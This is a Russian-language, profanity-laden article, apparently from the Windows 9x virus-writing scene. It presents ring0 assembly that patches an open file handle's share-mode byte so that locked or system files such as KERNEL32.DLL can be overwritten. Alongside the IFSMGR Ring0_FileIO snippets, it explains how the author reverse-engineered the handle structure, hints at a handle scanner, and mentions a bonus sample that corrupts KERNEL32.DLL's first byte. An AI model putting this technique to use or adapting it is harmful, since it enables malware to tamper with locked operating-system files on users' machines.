Итак, ВОТ ОНО!!! После нескольких часов ковыряния маздая и упорного разглядывания хексов родились две ассемблерные команды, чему я весьма рад, ибо давно было пора. Но, как говорится, лучше послезавтра чем завтра, и поэтому вам представляется взъеб маздайных шар (в ring0):
; EBX=ring0 file handle, file may be opened in read-only mode mov eax, [ebx+0Ch] ; get some fucking pointer mov byte ptr [eax+0Ch], 42h ; set openmode to denynone, read-write
Хотите еще? Ну тогда вот вам полный экземпл записи в KERNEL32.DLL, аки же в любой другой файл независимо от того, открыт ли он, системный или еще какая хуйня:
... mov eax, R0_OPENCREATFILE mov bx, 2044h ; no i24, denynone, r/o mov cx, 32 ; archive (unused here) mov dx, 01h ; fail | open lea esi, filename VxDcall IFSMGR, Ring0_FileIO xchg ebx, eax mov eax, [ebx+0Ch] ; fuck share: mov byte ptr [eax+0Ch], 42h ; denynone, read-write mov eax, R0_WRITEFILE mov ecx, size buf xor edx, edx ; filepos lea esi, buf VxDcall IFSMGR, Ring0_FileIO mov eax, R0_CLOSEFILE VxDcall IFSMGR, Ring0_FileIO ...
С ring3 дело обстоит сложнее: чтобы наебать шары нужен хендл нулевого кольца, а сгенерить его из ring3-хендла не так-то просто. Есть, правда, функция: IFSMGR_Win32_Get_Ring0_Handle, но она глюкавая и хуево как-то вызывается.
Метод, который применялся чтобы до всего этого допереть:
1. замечаем, что хендл файла в нулевом кольце суть поинтер куда-то-там
2. дальше видим, что по этому адресу (хендлу) куча офсетов
3. открываем два файла - один readonly и один readwrite
4. дампим и сравниваем память куда показывают офсеты из обоих хендлов
5. повторяем до полного охуения либо пока не станет все понятно ;-)
Кроме всего прочего было замечено: после 'mov eax, [ebx+0Ch]' в eax будет поинтер на структуру, первый дворд которой суть поинтер на следующую такую же структуру. Из этого можно поиметь например сканер хендлов.
В качестве бонуса прилагается пример инвертирования первого байта в KERNEL32.DLL, а так же инклюдники для перехода и работы с файлами в ring